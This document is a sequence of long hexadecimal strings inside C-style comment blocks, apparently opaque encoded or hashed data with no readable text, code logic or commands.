a71215c503cbae74e863127105420136b7ef9a21b2b7e7f2c62e46762c8ca1f09d35c1bf73c74ab1da6bf581b075e7bcbbdf5250d21dbb2f5e09d7413cb5cbbf217b7e001540b53ac29beb2dbbd9f1aafa07fe15b83e03cdf6852ceca2895aff556e0f6972e3f90d181fff9453c9df7d675ced90050571e3b1cd4681282b2df22221a76ba10e26ac38ef87ccc1335478080da7147913560c918f1654556804ab37c19795f2fa039dd8443f6ea46ceecdab32e1ba36044e740959ab7308a0b98c0d6044fdd5ab09dc30a6fbe2bb20a5488bbc337d6c8bb66d7685c99e5182027548899988be09662b53a6d32d113a024e571faa2a870d016ae863fe363e9abf73630ebe80899ecd8f4455ceb0531b3d2001c9ba16d23722a0915e3385d2738b7bf26d0e73c4fca7d54b142bf0018e68ee2d27af5c68475c609ffff086979fb55ecb3559945185ebd27cd6ad082d3f7f67c50da4f63cf599e04bba76f448203ad306ebf35a17439cb53784c6c86b0feeefb7447dd86a16afec6ce5d2f4cbc1f7a7f032c3938b9a085549365e9759046ffcedc2bb1ec1794cb1fd2b2ec4524379385bfa5a1645bdf5f45a86c2d5afc84b5e43438926604c31f8ef12aaa929bd6e2c314c2dc6b0ea2bdb13cfa2e57dc4de289bd964c5eecddb64768eebaa72665dd68859d47bf820096928d76d1f83183e0abf5d630fd2d4ab1b6f2ae36dd2f8d2c1a4aee04108e5a22640c1877926d95fd8d155cc5c6915b19d9bb99b3dd359a22d774cde40febc3dd45715d8e6d1118926d56613be3015c46e21dac5b214e20728868a2c3ee128bc07107b4acae3a6f2c75cabe5ef9d3732960bb467ae32f4e0d886fd5414790975674f633cc123ec310e71326dab8f047c960242e5863a6a41fc29de3639af687d9b1fba9b13f7c8ac0e4a037588c05a79393b17a862f39d82a1c4014f000c4794a914a49dcb1fc46d7b18ca59a0219dd8dd56a42ce46f6b814b92756649f561095f95c97d72f51e6a8806e2fd2d50d4ab96fe5390d6a80a2b8783c3a24848b2d81f4d85aec6b37e5be90aac7bb8253d8dd9b466fea89fe066fe2e5806602c4f1f3037b34efe39dd335f86d06d08b8279b21aec7d3c391bc03d4fa21d5f1f1332527d9836e12a432b25cda3691d2284605bdf54bd209893378617d067189559709e398721f18a7ebfc395864006f446b5939a5102afc3ed160183708cfb0c1ce6aa86325df34c003986c44121a73479e0b814e2fd0afe99c632878ee02bd620865a27a768f19fdbc23b5ad9f167c7d4c408c1f415a419ffa166105f7707af7463f19c7137a70df52d2c1685b8fc885a6e813321703b272908b6dc9682435c9928d120ecfe6245066f9ac6969f0054d13c176d4dbc3fef008ad0a6fc2125892f39cf60c13c324356114107924cd540d0b8bcd98c5c7f71eb1dc60925a28503d54c08fbb96486675d9698342cb7d8b11c22d297b1c6dd5eb5ce6759d27ee8e76c23a9cd8958879dcee9af2f654408f13ab4268a1338c4848411f9db81bc5aae955dd4a6a7a143bc012458bbbacadc71f89f6c1171564e26d919f9cd92726cd89d1b0103a0c3fb55fab4fb9ae90bc87b22bb07c60cdf211cac070d423c7a47e82b6232e39c702a8b6e8913c8b65844e196b57a135deb2b7dbf0ee949aa15b4a4976f70cc4fec33e0b6c5aba4622a9014fdad4bd0c08d7ae723e86f19791af01c71bc9c274c9ea54fd184c268bf9343da2e355d854b01bd82f50f757046f470f587eede7d934a38af75e6a88113985ebccf4c4a9cf43d07adf351682ca54c60b239165a01b1f4ce044e1d81f9137a5f00d9731c20ed18cb4241d36ade8589c585cd0fb8117259c8803417e8fdd72c74ae88bc01db78747da0ce2c4174a04d2a3f46e71d76ff354fd3cf243644699ec41296930f8f7ee6037010b4f5b3ea36ae401b8bab0e4c3c991d90107ce6e8189d8d483467f5c2401df15501ac3eed76ddabe3fad20be7a2a48568f745bbf745bfc8e9d85bf3b9744b945a5d6777ff190cd84cbb2adc359b8affadcfc38a104c4a0f0ebfd126ca2a9448289a19594f6bb243cffe476*/
/*f41b16480a2d503608dd58718932805ac0e5ffc4ef7f03a7f116e1937f43d4887dba2800a11e311a0ac78d55d9f337aee5cafd730dcab93b3cfe4c7b134dbb8d8f349b89fb15e9292e1424fc4bdb8404ba241e1e53155464525d63b93cb2bdee9ebfcde0b032ba49e1b64583560220a044b64f51f1a6a784901402462cb48d8f2ef983b243e0daaa1141b9efc61b18f8b637c5d1259c324f172beda50a1e8cf81b74a946c367299c6998d34d7fa50e3bf50de4662fedf2de13e839b0152faa944f4814d78f40c483a91ce8e785ab0401a943cce25e0d02a7510531c869a1817f8e8fed509aced7e1fce539fb17f5584311de48992926b92cdd275a00d2d50ccfa7eea06cc63cf397323d17b5cd558ae4fef0160e993c21f643135b8c12411395983d5abb396d8535a20853f3a698fadb04ed3e8b6dae355565633551f7ddf6d4fadd6d2d11b21ba5cf60ea4c1d29f0f722dd33e4c9b94a63197f94e53937ff139c90814aa02271ec1a3a460125e6c4c57030849318c6a4d1acddb2b72f673541828169f849477f156df924ca00354ca6688d690bbdf5d6c0d5d28be3ad9e31eb4fccec91545f11dbeb49408449738842decbfb5a3e9d526f9dd1d459add64b60557d122a3f76e353b99a357b77e658f3dfc3011d18d8a03800044c3b0028e5b199090af5e6808b084da03de8b076656e323a07ec9a636e067046f7f6310644e6160bc28f979c8e25e9abc5d7d3ef998d3edd35f1e0641505baa269bc407a33b463cb23d92ae4fa222201527be0aca1dad189d105efec6b298394b528756d460e1306a7c14ce0a48bb72fdcbfa7037054bc6507a4522267346ea8fca1c3df175d78ec271195f4f603c0a6562cbada9b9ca79e06b9c4b4ad682edd1d2866d3b1548a39b891931f4758f1258d0f19496e00d34c9e4f3050f0d7c4dc913e930c3ba38a06c51f583bd3d55b8beb0c28340f0819a36166f933d0b8ef488c483b53dc02a996af7565ee3ac2e2a426b6e198f5d55be158e3d24eb4196a430c745947a077cd1694526a77f3319bbea4fb26f271d7459f9bc173097cb9d53b1ecbfb527ba27bc0cd9c03fe978606a0910e8791aef7929b81a987bcd61c24957d46ddf200ec331d4c99c1ca39a78b28733c05e50cc0a165c1ba031a11913e812fa13c65d772e8d6a6ff95838c362b0a3da1ee0d174c501730b1e28d63f4dddc74fdb5f421b5a582a015649c810f880bc57f145c2146171f8f0ef85f2d700780697a34b6dee15ddb0a7448ca5aaa93c6bba1f5e92a20b3fab7fa61f0662ec1444a1b31ab2880be51f93995656d0baf4c10e6ec759359b1dcff1531f270451ea147430fcecdc0e5f61430f5aef57c6a701335793e348d41096bbaecf0498f2e07ac11e5de5c29851728d00adccf96db4717ad19a9fdf689b150878788eb602c6f1f9add15ef21dfc804c20334f69c0809bc6fc002715cbfed2dc523320ab88870d162c44bc7e3f6969159ace85acb48c24d7d72d91c0cad033368cd1c903985c5f9523db5528b946491cb1d532bfa2b9293ed1e61db2075016fccca88d3b25f9918a7dc717ed28bc9e4fff58b2a41d9aab67062f0693f9c4328ffd01f6ac6d2854c8a244afa7a1e51cff606f231a4ae516fdcd80154f1840dab69199e50ecf5865e6be6982825c8ca5fc7d01c15cf8c074cef6d09bb7c8d2199f3a9d15c4327a538bf2e3a8c1d22984c872941aa5f185b080066a04d9187855b4de2a1f79b0517ab3d7f82a2acde40024f318261ee363f50421836d8f7951ae07535ea91af7505743c9883668124112003bb397786a8c854aa6056685ff722583b4aa32d791edb4ddd62d43ba7dcae6bf42dd2c2a47027cd5cddfbdec91b3fc6f6d807a279b5ddd45cb93ef1aae29267d4c838da7aacfb98970965e3fe48ef3416522149305395e2419978265a604e6e7a813be1d6ba3d8182a6c77204e6e15df19a400cb3a2aa1b19115929d2dcd4a562fe3348ac8efb8c960ac0f480fcf8fa428ccce8e1faddb85eda840e800a43e9b9b51b954f9bc416543be7ece2daacaf7f9033996d06e3e72c8daf2d96cb4dad17d1fb225a3ec7a3d8efed10a62bff27f87c3b3a5f392621206d602c676379ac073c1e3b498fd59b2d003d212c6d75368df01924a27c25e1201453c30f5571f81893e300195c41c09fc4a89c506b61b627084deb9b591a1bde9d391e2a718f0b3c6d7011cdebf4807092861d4248c90bc967b782a149ffeeea00d4fc4b5c58166be4a2cf444b70b1611dc554cfd889927485edfed6d40d163bb0c62a820fa9be50860e92d96387f2d8a2e256e550cc970fd79af5a3b2305646d18a24a9e1e7891719a8f53b0c64165fa98b410525af89d15fa79b7a603f49c642a276c303746eccb767afa2af51435dfe6f92931b2cfe18d81f008be19dc52426778095ae5764ccc1742228baaa4bf8bb8a8b458d26b5157ae12c477c12e90a85b811983fed06dbb50911f6971c750bb2130e1fa75ec6fbbe77ef0d4d788f5d8239462bb4dd0a6a1109bc99dfdf26f376ab67f41c1f34533a5ab3864ba9a7ccdbb501b0c0212dcb759ea47540cec5d1bf1b0ab562b00816e9511eb4b0b2876a5db9f4fd72987825ee0e1519005bb84215cf4a3db2daacd7c184de02c32bd8d8715a97ddf385df1716dd400e18f64c96c800cce32672249fab718a4ee038fc9679ac22213232462039ea91e08a4cda1a6739a25419426c271864acc731bb9b4ba867a0f93a15a927a55e70280a8fecb1371a827abab7924b2c8770d92cf50405ba5144750cba4b53742b7df8ac2f2a63cd3a03ec*/
/*0062338bf0191ca58804f34425c6f1484346024e3718c677dc879b1cdc189cd2d6f7f75f07478f3bc80bef9f9bd7e266b7dbefeef9325bc4ef20314678c03dcf1ac7a99ecc063186cbc03ad0641ece337ff4ce904ec10c4d0fdbbee395215bc1f831790ba941747b682eaea7a0f84e2088eca40058eadc7c2850a48ab2ca66d4e58e55bdb531d71c531f41e469d226ff6b0198e538d6f32c74265ba067c57b1e16da8e616087298fc44b4b1f4f7c752caeda77f0fa198c21b0aad6bbdd185c8a3f71b0d17792c67bbe72eb4414db0c613139e3bc7c7fbca5d3a540ec05f17e4552e1ecefb389db9f254c44b4d344fbd1aa3d99338bfb8fab8f0d980c965fb71bb4f41b5eb655ed7ea63d9e14ef9260ebc8c9e0f7e161adf8b98fcfe7fe1907804c38cc5f5a110c73411f409c9cc5dd89a2b0f8910fac435641dca4d66516a370a1899b9afa53740ea73ab52b7eae6cbf7e4a358494cc49ed80a95ad97585d0d954f0e9ad7374ec5a2bcc524fd8881430cf37de00fbb0dc62aa6cb55e60b926bcc37e3918f7b46364add9600c43f961b8904d4e805110e00e7f89df9e4258ded91c843d8ed179778442b1be4c10ee299668e6e048a0a81f039ad99bce30687351ea8f8f80783a25b821f2d82ed50c529f7619114f891b1fa463a34a1292c138b39af3cee54b8fe23b5c380ffe4eaa2e5240ea130d27d18d5c00e85bcf1e3784e6d3e5e03f7bfce0149728ae20e6d96aba63c4a2d16e4dfcd7b2cde24c561ad45d4b693757851558e99ffd35d0f1a0eb478c65f687fa867cd055e2a518e89e4d246bdff4f3f5feed3c932c9a6462c61460b84da9bb1915935d95fc2b7fb6429d3666598b8a6a0e4094c19e65683df19297f7d2245704346f102cf69eb27ab211ea17b071403cf44bc03f0a4283f0edf85d8a76e4fcdcce53d464340aace1becc3555984089628d5666eeeb7fd6e6d5dc7152daa1722b5c0b91e841881ee269fb31dc01b3ebb01afc86a1e570df13541c8c9826c59883ec375ca97aeda3ec64e26ac9551f116006cbd95f6033b4eefcef6ae1423a5cc81889b64e17b349e1a8f1dd093e0606d733f588993b4eb0b9737e2b3edf6db0eb5a4fd71c791a7851dd9d24aceee18d5709b19c43010b5a970b19bdf340576015d1a6b08de298aa4c3654ef59fc550b3db7a078f97286a1f0afe9e8f82ff0518a86e9b467eaab28a3f6637073fb29731a3a5f2b25adbce710a56ea60bc2ef0328969459c608006c1ef6533db17c2bf06824f390e58a0eac7383fc6fdcc8cd6c97e495aa505d1eec90725aae417b12f582ea91912e43621dec7069eab619319c6c0e9bed43db44e107ebaf5945ef823656fca6ecd8ffe545ea9be5891020d09f9a8b7432a7225dc4b824b2ca90ef52712716caa8715ca68083f68477efd8dc10963b266cd4f42b125099dbeaff954dd30668962e9ba9b1bee0db4636bfdaa7f9a72e08e52c8896b7bb9537fd1296ba6acb5c6686617b64f12a07aebf18c4d43bc8e527fff3d290cb4ea77cfe6a60328232f486717e43727f3828f0bd9f4ec3118d0c06b6c4a36b869ac15bb2f81531a217dadd8ced302cd2de39425a96a550e86b3f4faf2985c8749e236025a5fe118ace9499f187a9dc49de0151a6859c00900be133734120bb3df28c41bb1f613c581d51bc013545954f8e8c15a0ce3fdc301fe59b3c15cdee930b2e5a2d84bb60520820d536697967a11eb292b1ec076317f1b1dc2600afce90e89d5e26dfbdda5d534bf45f3d674fc7acaff22b91581d9d2af60673d3eb36c6a2e3b1251f0e07b940b302ed7863a37cafec57b699b35a6fa81a5e080c1771bcc17bcdf47f083cb44f18047c33087f52f9d377a696a7207d9f36b4e681c9b6e22477ac8daa931c3f9345674a894d0013fc5cfd5332163d85e7582ae460501f6628ad46dc51f09261cfbeac850b2e062196142108223e4791ff90bc02123bf48238392da203276246652a6fbbf36da0d9e3fc49d60837b4f246b73266075536e5803259c0afdd4b5d90da607a7cd13b8070cc99bfdd9e332e7b73630fa3e5db83b1dd37bfcc8d3e8f15d2f9fc25b062d4c355707c33f81d72f4a5801fe1298c6e58d2caf009ed209a2e652d438cc7e333de26e77905e6c4bf7b2fd27d1ed6e0bf7a65803c4e1944f8282fbc0abc2bc767c9f2da95e25cc1f6e286e9995f8e33f2d3d317db946df9bccd85f93ab1c6261ad1cdad15a01a26f4644fe539520235d5f7348a0a804ce2ac12bbfb6d4795df9f9a2586ca6bb6534a479149a294f0118162da67e2dbb53e6d332638d7af4867ca21e02abaa57547b8b94bb63fb5de44029dd9741ff4630eaa933ab947114c64b3b3e800b1f72ae19cbb0941813bc9a9b1fdedf280b2b88ba5371f3c0a966fe1036808a01a7d3c3b9cc37e1e4823347069e62babb0872baa0dc3ebd6b8f3cd3fda3c637563d4ded742d150fbec5484944f42d5a45d4341e3554a7c01a8d95711dc2c9d9c6a61369fdb1354807608fb0232214eed202e37ea1ce4fa36a6c513936bdb17f2ce27d16e7fed2b119eacef716166b68656fc21076d424226d3e7c3957a5d2c6fe68e673497c67c3ab011d1209683fe1c1a10a0c4b81c6b53c787004e04f52347a36cc40db8068c1b010bd05508b1afd78fb9afa8be1f369ae55b8ec85e8cb36847500df976aedd5a094d18fb3af6d5069fcb0d2fbae276005da85d8a9a6d626049df412ef14a8a80978571012ebee93bf268a2b04322e546e4fb68616065585a172fb7a171a94ca032720edcb3c7329c7e42277d5b816495703bcccf9faae09b4c*/
/*004814f5b05897ead6fd0ce19fd48b8e331fc3adf5d0699ca654d62c3643b2bafbd0a1afc5d23a8bfcd1ae58bd8f829b74b8c29957acd8464499d2025184997bb94265adc773578ef3c93b49f3c5bbd390c26c4fb4149a9348b3c263cf9b5a54212e0ec34c8f9b1aca866a9cd2c49b685e623a186403da402ca3767ef4d56b190c5e40814373134c84e76754ece5193458bda20a44e4e517b16b663bb3b171db9ddc78be9f9026f34693aea3710dd885a12e300f2898a8c9d811ebf1c9beb759afe4eeeaa88b0e8a06357caf5b97c2c363df27611034e32448705a2340965bc4f25de8596ff0e26a70778510051f48aa43670b79ec26ddaa5d264ad02ffe3e960380a0f71e630a08e5095de5eae762d1c9c32f0c8f1dcf3affa7574f080435cfb64a1a57586aaaa4ddceabf125ba15acdbba72366a0c041ddf9c95d7e4c974989cd232ca1a618ba0b9b18f089d835742a76c344d924b72bc7a159f60badf47ad2389599b8953f182dd5170b3b13dfac1a95ed80d4ad525cfb5e0a224eaa57449a30d561e1e3218b363878ab2a607e5921ee22f48b455c574f70b20edd4c3b2e839fb816a109f4f8226cd49cb520152589be3f97c7f6fb44450b9118f0e6d1d1241233ffb57cdcdfbf55d039fffecea486846c6c515353aaa3925a67057c6732fdc1d42cfff44d9faa3e5503d2f3147b02d33ef361050ac27c0fe25eb5119a9acd992c7343281f1c2e714298153a69ba4b2dac181a8ab83031805cc718608b73a927218965be68a2b9ce212252a5a6bb0dd66c54d6d17886e60d312678dd2008d523cfe577078029375cf828b3440fc5a920410824d90c2efb89492b4619b9b7b9f425bb7c108da7277429eeef5b60cea868bc45b07176936a95b8745d691810f2fd75a933de8b756ad2e8a83eb62f79bb746351fcca52c5992a820b43be0242cab15f08bab35e54652358f5118826c7296355314cc729946464d75950bc600d4184a75f036269e19ddb616f391513a4c4ca4c5efd4245fc256d838682c4bb07bf239c7ecbba3503cc2559b37cab51394ff037f4c2723d03b237927c3437a1d705f8096fe9be7d5581c13aefdf51c843141ace5fee636978da3171ece9a1b0ad8f5d832de5af474b9065908507597cb5096131ab310d2869a78d65092a289eace66f2797e6f5800c312e81d9c9558cb665910496be3a55bfdf530182133a732f1302588a73cc2643bbced67dc6cff40417d1f343c14883ac3fa355eeee8ab72251410e817077c38f670302002282ae2cef58fbad17fc1561fa39c2a508e5f75016f1714847d2582b4ded3da377c88b2e2ccbb780f07a8d8c2b0f3aecfa3b9bad3d0f20408f8ee3c8225c84a08082e39b2e5ade35f0634a4a44782884623a34f382369307c30a00ea04f5f91e31bb03b7f5e81549890fe47a472ce19fb18c5d3e60911b91493842ed1558c9601bd7aa8ac5baac75f5b542f7433a3c1ee5429df39ac2d1f01836547e37c395107b21bfe6cee29e4d2c63571e015b6af95a1e14032d1f65815908f02a14ec003845acc1828ad1c389577cc71e8c14a00f63f669522ddce88d5fe413e44d28b4517c8af64fba791a3a1576a39a888e71df8053928fb332959f2686d86418f976856691f5837e92f6b06ba44320070cd9f48490d5c8ec4f45fab7cd754c318b3912fec43a8609341aa814e143d6db5053265eca092dad6305289714c61afe0ae41ab42a80f862517454e4fa3686920a919147fdb2e900332e1ff0234ba156feb27c7787e93aa6fad02f97e80f436db5305a7d673671634b3a41c70572501266c3676ef16ab3fb2d09d111b537edf36914ac1cc27694b49a0178eeb06c85267ad9d8205643c192833f6c370911eb5c846dfdffdf378519f50e22ac29539ed33b70779d5fd1951a5b34295e5c7c12b09e61ebb53e3adb4b85f614575f19762235db9d0e9f8f6383e7dca0bdb2686c9e3275ff26a72a163247e249c36950acf611345131d35b0b4f56bd1207b2cca7f9716655063fd25056ec2498cc2096b9c66029b76bca6720f14cd83a4c2599876b0ad29c07f084794ef26b53b58e0869bde6f0792feb8ab1c3665fdb88e1d559f9f9c10e3ba22c7d496828a3339fe52813f949f6e6503530a0aa69006a2f3a9e785b7b7b4b8df937daf1f3960d43ba18a9f4fd5959033dd24a5a213903783ad57ca839d8112b63917db4a8976a34d95b764b8959f40841fe88b0aea800fcc47499f0d93f9f37512844a36f82cc90bc9f881e2f83085d672091b1e53006b0f5f9813d422955deb799bd5d96cebbb6646ee9a775d553938d0b12114b0a8282a3003305bbe7ff29a3ae584e1ea2027b0424aefd0a8a0938c5aaee5e5098b490a91fe5a33c4368131837f814acd695d05663fd1b4fa4ca2a15d4e1e98b5da5b611813f470f2383b428034ead7caac0c5bb0df4098e7f42c589c8678bd643822d17aaeb380492facae4cadae3600af3079b72609466989da691d924c1e131451bf538dfd9912a1cf3f1d56a6a144400daeefefef71e6d927d63d915548860eafb22d47901f684d924809fdac42c589c322955935a05f6bf569942b69f0f8073519abaa6f52336828a5c73bd3b2fddeee691a047bac18b250ec71849bb6fa9aa11e528189895385fdc70ad12f5beb11db24e8cf77f7263db9a39c8baa70691bfd5a16a1d9e2dc613988cbebf9917ae2d2e05626eb2615b780265ccb210bc4fa58259c18bf4a6f7fe4a328f5ca0fa54c7eed35a19a6ff658cd4cfbe0e007f2ced0be6a8dc486bdbff3dfa0c06460c63e5882c696e12778a0887fb160*/
/*f92461253e3763ec50dcb37217ba2d68607997cbb0a03dbe2d444bb86644fd99b1be8f041d4e4b2c2c1af93aa98ebd2a8ff4e45a98459a7d4c6df1579b8827895b1c2dd7e7fb16dae320dde7150048730eb18d89d75b28ebf8aae742c99593be48c4ef8bc4f2a620a9a837b491f5aa71107c4ee569a3750be448051cb9f73037e9c2617b6a8ba7bb92d5ee520079e6861ea86bc768d756fab3a4ec2702e1fea2e996883918d6917cee40860c63d0c74fc8f40346ffe45856f1f7ee1e54da6cdbe8b5548f2130ac0bfe26947a3b88f0ce62b3a6d9291b2143d0e1fa6ee683ebd796f2d788bcbe7889e7365a78f80fadf9895be394046e9ea6d17ca33d9a4aa2ef3c5f1ce654b6af7799b460a3635c4e356a1c09a6bcccef28ded02932481a5b905fb602f31c91b7c8bf44e49bb3f70664e725cb680b89ca9afc35ac9591784389ab8fc28935d28066479736316328447c5c62665c3a192f04008e4f38fa8aef36342fe836ea614abd4b35808b23e05e9b3176d271ee73eeb647bda2703f0e0416903ddda34e6bdd485e948934d53c5fe4fc3d75450307ab6373fbedebe525960578e4acce1127160eb050f5e2ea3b9e50c86c06765b282d36f2a5bde440b06353adc425cf5e5289027e3ad3474347eff852cf734e1f37a77d98304c0df7a6640b0de3f4282b4a85480660126d066ab91afed7cf06c0b8d4f09007beb7ea11fc438581173202271e1c5b91b2dec9ac6c87fffd40b447e12a98d1f247c5919ad56c4a31651d4582b45b9cd14c6afd4e3c53cfdc18f993cf061107c9825427c23a5edbb408021ae73d65755bcfc8f08e1c25b89c18e5e3199ef0b9b93975ff014f81f5a81ba5b67986ab4d4673a41eedcde6d4686b281710d1456b5e1fa497935563bcc73a3cfd975acba2c820478279501fb07e57bf8a94249e56aea9e131289d595d92b232bc1c267a6533b121faa5d88e0ae8bd3ef179f3009096f939db1880e3566c878b5de65a4fd9d3af24b3170e677fdd58be356805fc61352dc39c1b127a38d467c1a121e43a7414ebd2d553e6c0348cf61ebf21168be25e491630f983e46a335942c15d207025fd24dd078f1f9a0e43499604b609288eb1dd826d016a1284cc9145a10dd9e0e7a9ca549448e20585e08e20e2f001602bc6bbb1cc2204d4745688328a69477b276c0974d4ac9e8040c0a90ed864a052c42ef2e85ddf2f1959f4805c2c28631b8f5b843cc86f81fa93f44f08db8b9508a3a7a817562f78c1c03a68c84a719eee88060fc90f4d39ef0e18fcfb44701fb1f10fce400842281a679805d004f48929ec388ba6b4982b20cebf0e56cea04a8832a5f6ab9743030ddaa913f0cd6811d1e569176de2ecb8eb264ce8dc57cc2fea121529fef954add55ec90c3f0eb830a0440aecd994ef67d769d912227abcc8cf2dfd88eb758fcc2c1ad8e62257c0edcb8717a0d1897df09c88da874fc55da2904910af867dbc45d8b509f31bb1939689bdd279058f33137205832d994a8a72daabb3e4f10f243533adbdac06a62b012ac64e5b0691796f64e2f8bd73841cca38c981ddbec38690bb6e777716ffb3df771f60a66f7f082faae8929a4b235d464f234465c899f3e7f1b10612cfdb7949b89b969579b62b35bbc876ffffb61f2d618a2cb0923a25b3f4c3b221eabf437e2d4cfdf50246b7000cb6c44975e7ec0d5f650ee4009727c337b2e117bd117f664010f23b8901db0792768e35f547c23f889584e8d9bd9e05e73c4a721b02488d9d3227864ed39024703280e4387c7f2cb517712332918d2016d4d3760e9a7a7dfc6515854b0ff2bfb9b62bfa77900a95491a8b6108ca44dea74568d2cd950b0a56215cc969857eb966eb02ec5c66753f2dd9733d89fc38bf77a6711f6103b1e2d5ee072890a204bb91278c000f01e6ceb57afce9c1cde6eee9190b392a7b4a479eaef453854fdc3bac89167f2f6d4f5de6686fd2a32b2542907356dd603fe9ea23625911e3a0337c84d434392e28b6aff0dfbfb0f85c56693be0e7f65c8e55fb36851507b78093d35f69dc3f0dacd74f249c943c57e10467cb38adc9d071d52793c5bd4471367bde10bf33dd4b412230a6c50c57b0a1479e4a635fc2676cdd1321789db30ac1bb0cd4902143811b5337c2651d80cfda04701c4198454e5b0defad73e4af2fe355e679233b57166b755163ef3dbbba69bcc87b6906da1f2c83f387ba81119099c3404ff423f3c0709d1c7e61af35644d7eae49d4043d788be0eabad68189b05059bd5ae1602bf2d40ceecacedaeac3977f0b1bb9b7731a153af09efcb4a4aba842526641a322579b3aa5b9e8972d21304ff1bf95a3fc33a910592e3190f0728f27bb984fafaa35c374f92967c319ab3cac9d0ef33a7faa61558610f4bb8a15b6c7622dc1cfe1520954e94c73016db4dd8ee6ee394c3d7cd00f435e8927844bf59ab73f8498b55e24efac5971d67465e2aa7c156504522c93fadfb0b64f65586c71539d7a230b63544cdecf20f8e038c57074407c202fce9a1b203beee4566569239b22d473471f8de5fc53606333e21b692deccb2c0ac82e3f19e9f565c35906a44b2ee6acbafa853fb24da577e266804527f6e96d6da57dd5fdc69e33857405eedf6b464376e98c57e5a83244e394d2769b9cc2dcd721e07d35b47ccc1abe3ae44503f31bbd311f430424e719153e539704fb2f259635350f5531a3ed875b43cae15db8b75fa515051a3758083b78b895f1b74fdf64093295fc49f066af7401b6fec17eac1e8381b32012287c90968de25299176662051c7d3e335cb9eeea5284f1e8*/
/*23df3889ff096526c5eccdd4f6d38cebd51c6bf629d1d869d81150e88e10aa12f68dedf6dc3fa5a65f9f48862765302bc35ed8d54321303df63a422ede741245e8b29b319125c9d7a47880032150733093ff7064ed348e89be7e36ed5196a99d3cbafaed049d941464916f5526d5eb34a247157175bcc135c21e1b613ba055ef96def4c988a95745f11e6abc69ce4757a3e90a92df94c8ea76ae001874461eadfc4b2f7252270aebc66aed475fa601a5e269a33c48b1509d351c8982ff894224d723d2ae767f7999aeb8a1ae817f1a7eff02282d1e6dec3b49465c3e25d60008587d42ce5bc65977d8d7966084d7a108c0b6c73df5088f965d2180bb04c58f8a4576fbbe0bebd5a296f3c097eee4faa455826349b6da1b1b0713cc72640e7ed9d39dcbf8b4b0ab8f36d803c6fc1a216b491b86c577a12bbc71ddcd0d6af8ee5ab80da84468c2e94ab8257b48bc61e5def00621f5d36427e90cb15384b7859c4265e58a548aa6982032318253139e004a65d022cd2b3e71d81ebab7e2072e98eb64bde7048bc745b0c9b70b171e7506bba9652fb3c14dbbe45d44b7d119f365ef6090e96ce26fbd64a93885e95aa3afe8ecbeeee188de04056c0c12652ccc6754fbbe620626536ba5f062ab022cae2cbb11b16439ee4cfbb85a96a4b8051b6adb68d97c1b77867d162afd33da20a2664352bbc46900298d3b1f7e234a93581cdab798e41aeb878b108036f2c62251c2192fce5c4f1c0dbce4d8f54190dab4a0c41481a5d1e8828cde82a28ac7aee950c99a0ac9fc7462b4c4bee395a52dc51ac89af2ce47213d7e6779b2044f5a2cd76a7e96d429b18a020a9d4ef9f145dcbdf60637899d4969d866feba4ec7bfafc13bfe7ca5489eb04d9a129b88f880daab21ab36dd27e13a9a84a526f66e1823c45b90d7d420301183b3bdef4ec1c4b37f35228bc37a29bb36c2becdd80b25990076b2abd3b784b295449a4e80753c4278b32e19ee2f9b0daafcc64c2b39ef58a9208c093ea7f2e3952e9c42126b749787d1ec6f2c9ba37d0b84fb51e8c640f372001b14ed380158648dff2dc360396cc522fa071593597fbb50fef4d0288d32e1b1b8154b7395bfc0fe460382fa06c7025fc0035e8f51037e95da933cbe03762dc097f40d14a106f3eac3eb1c991901f69fb05fa8fa695ac824dffd960b95b328f8e47a66acef0db57b9680180d054169720c7163b16aa202aa1ba0f60773cf7b235db2657b764d9d992f0d35a311151ac27f8b94c644fe79349376c18cb83c63a90cb5050bb3c6d674cb2cf271baec69617abbfec8acca1a4034f9c4db8f84290236bbfa6014cc3e9cca3c3af0dcdd65dd16cf41c7f6f626a638b50b7029cf1e3ade91c9f6c7b79e2336402eefbfffb6afeddb6d67baa784841888c4660aedc55aac985f94235ebd3a967d46f7373e5942dff53a2ca8cd25eabb93f6b8dc0a0fadd77fa50b8ecf4ce54a9ce2dd693aa794a9ab05e281268da513d718bb04f59912d419f956dad63d0e4fecd8ed245edd7590e148c367a3a9c235e957ec12245996ffa7cce91d983deaa7b33420f1380a99208e4a3bce45407846615595cdf2821f552974a368bee65a6e5de5e7c1993b35da584f1e73b9c9d4e9ff8138a239f177daf2030b920e9de87cc9c0ffe7483e6b12a9e99b12a8aea414f1ee21cf5f74a487da088156488585c257df55c1b3e3f9d81547a8ecb46b5580f1f39c69e27ba1e5ea6bb5edb4904e93fb8d2e71ad71ae77787552a76066a029e9854bd22ac986f6f663b20f964617a2b0df4e06d08cd78b2f081b99894f9898b61c9dad3b86c75c90a5e50dcdee15b3dff1d44c85d241ac731dad7fc512ddbc579a3763d81919ae0c809ff8dab7e1219b92b3f937afdcf1ec5086266f135caa2f160cb0f480ed879ed11a587b0148e5c5634927b5d44996e135ef839221c0a8253715fa359a1d39881ff84dc4922c2c27223dfa72eca342984ecf5f04a10ce72bb6e4b9edbab41357bf476b8420ef8e6d5a39fd1feb2093810d7145f64b210e21032fe3a27b32cd9f96d9dbb208e48d345e6127b35a70541eb335cfe55156dde469b1b8df7cb2b61e27a3004bdcda319657c34b5e89275e12dad305421c26ac5fbfc1a48f8b4acb1f21ca2e2acb9dc38af9aa5a9e7cc513a463ffa7606006671fb2791da0a37bd88f1262b41070c3945d8ad084c97f2c2f52cd3fed410420cb29537d6da811d81361f310b0dcf85475d4ffe0cee511d802fe963a3b5a872e3fc8e5d3bb6a5cb14537dba67ad89a13155c0d25b6135d119128e42ef1cb0de386d2cc73fed1f907cbd61ffb3b01486fb5f667bd48b6f2296e4e19ef945da3b315aa614030e3920a32258744ddd9ea407518689631407baca2d68d60315acf923a84ab607b633babb2e28fabdfda40063eeb7d1616100d37c4c751c3233539f5065beef5c6a588d359b03432533b5f756500e8d2216b31dcef42a07fb2b8e8cac161185a438673b475f60c640c8213bb003417e6671029e258e18d14fc3dbe0d81bc7f57e53f2b7c7e70003e002293a69f2f8d273fd6bf219e131257c6fdc403a7f0b864b8e5fc7b4a21ac0c80afdb81a14efa21f6ceb069568c03ac3357a6c9d55c85ccd4e94c705ba02cdd38d3f74c06fb3c35380c51e49ff5add3cb60d5f06f534b458fd59b1989d372856cd817bb849f980003986b3f76d3628ab4e7c4f5249be64d2e558d746006ac448309cfe8cda0a28b649818bce698fdf51ed60efc768725c3b2af310dde8a7e990eea28ad57579ab41c76649e254034bbcf329ba8b2a29a7279e3e5ec*/
